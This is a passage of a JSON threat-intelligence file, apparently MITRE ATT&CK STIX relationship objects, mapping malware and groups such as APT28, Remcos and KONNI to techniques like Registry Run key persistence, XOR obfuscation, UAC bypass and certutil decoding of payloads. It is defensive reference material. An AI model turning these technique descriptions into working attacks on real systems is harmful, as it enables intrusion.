"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF", + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "source_name": "US-CERT BADCALL" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8d6cf235-4a33-4866-9b73-a7119293e5db", + "description": "(Citation: F-Secure The Dukes)", + "target_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2019-07-25T14:25:53.637Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.050Z", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--77d079b6-2df9-4ae9-bc7c-1ebe99708660", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) searches for certain Registry keys to be configured before executing the payload.(Citation: US-CERT Bankshot Dec 2017)", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "modified": "2020-02-18T03:40:29.927Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF", + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "source_name": "US-CERT Bankshot Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7fe2431d-30b9-45ef-8857-ecef17e428a9", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used Windows DDE for execution of commands and a malicious VBS.(Citation: Securelist ScarCruft Jun 2016)", + "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "modified": "2019-09-09T19:12:32.841Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b274a57d-9d27-4e33-b6dc-15e007805838", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "modified": "2020-03-14T23:34:13.615Z", + "source_ref": "course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.031Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3efe41c1-48be-48fc-90d8-5ae70df3cd97", + "description": "[Sakula](https://attack.mitre.org/software/S0074) contains UAC bypass code for both 32- and 64-bit systems.(Citation: Dell Sakula)", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "modified": "2020-03-17T02:29:53.502Z", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "source_name": "Dell Sakula" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8bfa94cf-4eeb-442c-8f18-25b07cd3cbf5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used a tool known as RemoteExec (similar to [PsExec](https://attack.mitre.org/software/S0029)) to remotely execute batch scripts and binaries.(Citation: NCC Group APT15 Alive and Strong)", + "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", + "modified": "2021-03-29T19:54:46.570Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "source_name": "NCC Group APT15 Alive and Strong" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8e809969-d903-4e58-b8a9-7344127da3cd", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) uses a simple one-byte XOR method to obfuscate values in the malware.(Citation: Malwarebytes SmokeLoader 2016)(Citation: Talos Smoke Loader July 2018)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-06-24T19:07:12.668Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + }, + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--087721ee-6643-4453-8a76-8768ced7e506", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) adds Registry Run keys to achieve persistence.(Citation: Symantec Dragonfly)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-03-17T16:17:38.149Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8dd3bed4-1e3c-4a08-9181-669b5ca03075", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) gathers the victim\u2019s IP address via the ipconfig -all command.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2020-09-02T18:46:33.468Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA" + }, + { + "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "source_name": "RATANKBA" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f84b2658-a891-45a8-93ff-14dc0a86df10", + "description": "An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant decrypts strings using single-byte XOR keys.(Citation: Unit 42 C0d0so0 Jan 2016)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2019-04-25T11:39:52.241Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--08bee5d2-5a60-416e-87cb-5cfe35cf67ff", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) C2 traffic can communicate via TCP raw sockets.(Citation: FireEye APT32 May 2017)", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cc5a6d27-5c74-4f53-afc1-390c71bfae7c", + "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "modified": "2020-02-05T19:35:59.182Z", + "source_ref": "course-of-action--ef273807-c465-4728-9cee-5823422f42ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-04-18T17:59:24.739Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--91d4c776-c259-46b0-b511-b344ca027009", + "description": "The payload of [CozyCar](https://attack.mitre.org/software/S0046) is encrypted with simple XOR with a rotating key. The [CozyCar](https://attack.mitre.org/software/S0046) configuration file has been encrypted with RC4 keys.(Citation: F-Secure CozyDuke)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-11-23T17:03:38.887Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a2faf818-d21d-40a5-ad02-a3b1b2ee5d58", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of deleting files. 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Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. 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Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--62bd74e2-ca03-4564-ae9b-75637c4c6acf", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) collects the victim\u2019s username and whether that user is an admin.(Citation: Unit 42 DarkHydrus July 2018)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2019-04-24T23:55:43.436Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", + "description": "Falcone, R., et al. (2018, July 27). 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Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0e113a7f-2aba-4dc6-b4fc-4c0f0d013c3d", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) uses Tor for command and control.(Citation: objsee mac malware 2017)", + "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", + "modified": "2020-01-17T19:50:53.350Z", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x25.html", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. 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Retrieved November 12, 2014.", + "source_name": "Moran 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--921c2a85-eab7-4cfc-9ac5-98a463262c17", + "description": "An [APT28](https://attack.mitre.org/groups/G0007) macro uses the command certutil -decode to decode contents of a .txt file storing the base64 encoded payload.(Citation: Unit 42 Sofacy Feb 2018)(Citation: Palo Alto Sofacy 06-2018)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2020-03-20T16:37:06.322Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). 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Retrieved February 25, 2016.", + "source_name": "Novetta Blockbuster" + }, + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Destructive Malware" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + }, + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. 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Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--394d53b3-da1c-44b4-8abf-e1092f34c8be", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) supports file encryption (AES with the key \"lolomycin2017\").(Citation: Talos GravityRAT)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-04-24T23:21:59.304Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). 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Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7415b249-520c-4ec9-aa03-b12b5b22f6be", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of creating a reverse shell.(Citation: FireEye APT33 Sept 2017)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-19T21:48:59.676Z", + "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). 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Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5e7460f8-9ea9-4aa4-b06e-15861b02d70e", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to enumerate network shares.(Citation: CIRCL PlugX March 2013)", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "modified": "2019-04-19T15:08:16.052Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T18:17:59.279Z", + "external_references": [ + { + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1be18787-844d-4135-9781-e5b6a8e76d14", + "description": "[Remcos](https://attack.mitre.org/software/S0332) can add itself to the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.(Citation: Fortinet Remcos Feb 2017)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2019-04-19T14:39:53.103Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T18:55:20.763Z", + "external_references": [ + { + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html", + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "source_name": "Fortinet Remcos Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c241606f-e0e2-4179-8e8d-444fb1406df4", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) has the option to compress its payload using UPX or MPRESS.(Citation: Malwarebytes DarkComet March 2018)", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "modified": "2019-06-04T19:40:43.718Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T19:18:28.625Z", + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3598d32e-306d-421d-af3c-8c9f5d1628a2", + "description": "[Carbon](https://attack.mitre.org/software/S0335) enumerates values in the Registry.(Citation: ESET Carbon Mar 2017)", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "modified": "2019-04-12T14:43:22.710Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T19:36:02.824Z", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e600fe60-36d1-4053-af2f-13830d95bd14", + "description": "[Epic](https://attack.mitre.org/software/S0091) heavily obfuscates its code to make analysis more difficult.(Citation: Kaspersky Turla)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-07-26T16:10:43.155Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T19:55:48.266Z", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6a8356c2-5a79-40b7-bb8e-b7d9dffbe523", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used SSL to connect to C2 servers.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: TrendMicro Tropic Trooper May 2020)", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "modified": "2020-05-21T18:57:34.313Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T20:17:49.316Z", + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). 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Retrieved March 18, 2021.", + "source_name": "Trend Micro Muddy Water March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--38b1ad70-4d24-4f5c-ad62-e03f38b6752f", + "description": "[zwShell](https://attack.mitre.org/software/S0350) has established persistence by adding itself as a new service.(Citation: McAfee Night Dragon)", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2021-06-16T15:50:05.401Z", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T17:48:35.709Z", + "external_references": [ + { + "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. 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Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3e2d4ce8-0006-4571-b8ea-dbfc4bf7302f", + "description": "A variant of [Zebrocy](https://attack.mitre.org/software/S0251) captures screenshots of the victim\u2019s machine in JPEG and BMP format.(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2020-12-09T21:54:33.769Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T18:39:48.412Z", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. 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Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020.", + "source_name": "CISA Zebrocy Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--588865e4-caec-4150-9c03-df5e28eb9c79", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) collects processor information, memory information, computer name, hardware UUID, serial number, and operating system version. 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Retrieved November 5, 2018.", + "source_name": "Securelist Denis April 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--172da5b1-cf68-468a-8208-b15ea5c813dc", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can gather the OS version, architecture information, connected drives, hostname, and computer name from the victim\u2019s machine and has used systeminfo.exe to get a snapshot of the current system state of the target machine.(Citation: Talos Konni May 2017)(Citation: Medium KONNI Jan 2020)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-04-28T18:12:13.776Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-31T00:36:41.034Z", + "external_references": [ + { + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html", + "description": "Rascagneres, P. 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Retrieved April 28, 2020.", + "source_name": "Medium KONNI Jan 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1c01c64c-8842-44be-bd66-8355eb5d543c", + "description": "(Citation: Cybereason Cobalt Kitty 2017)", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", + "modified": "2019-07-17T13:11:38.980Z", + 